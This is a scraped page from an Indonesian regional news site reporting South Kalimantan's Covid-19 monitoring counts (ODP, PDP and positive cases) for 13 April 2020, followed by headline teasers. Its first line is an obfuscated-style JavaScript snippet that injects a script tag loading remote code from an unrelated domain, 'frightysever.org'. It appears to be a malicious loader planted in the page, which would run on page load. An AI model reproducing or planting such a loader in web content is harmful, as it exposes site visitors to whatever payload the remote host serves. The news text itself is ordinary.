(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jumlah orang dalam pemantauan (ODP) di Kalimantan Selatan pada Senin (13/4/2020) pukul 10:00 Wita mengalami penurunan. Jika dibandingkan hari sebelumnya di waktu yang sama berjumlah 1.217 orang, menjadi 1.190 orang.
Berdasarkan analisis, Kota Banjarmasin kembali mencatat jumlah ODP terbanyak, berjumlah 256 orang. Disusul oleh Kabupaten Tanah Bumbu sebanyak 246 orang dan Kota Banjarbaru sebanyak 225 orang.
Sementara jumlah ODP paling sedikit tercatat berada di Kabupaten Tapin sebanyak 5 orang, Kabupaten Kotabaru sebanyak 13 orang dan Kabupaten Hulu Sungai Utara sebanyak 24 orang.
Namun, jumlah pasien dalam pengawasan (PDP) pada Senin pagi mengalami kenaikan jika dibandingkan hari sebelumnya. Pada Senin, tercatat ada 13 PDP yang dirawat di rumah sakit rujukan.
Kendati begitu, jumlah kasus positif Covid-19 hingga Senin pagi belum menunjukkan adanya temuan baru. Tercatat, sudah ada 34 kasus positif Covid-19, yang mana 28 kasus dirawat dan menjalani isolasi mandiri, 4 kasus meninggal dunia dan 2 kasus sembuh. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.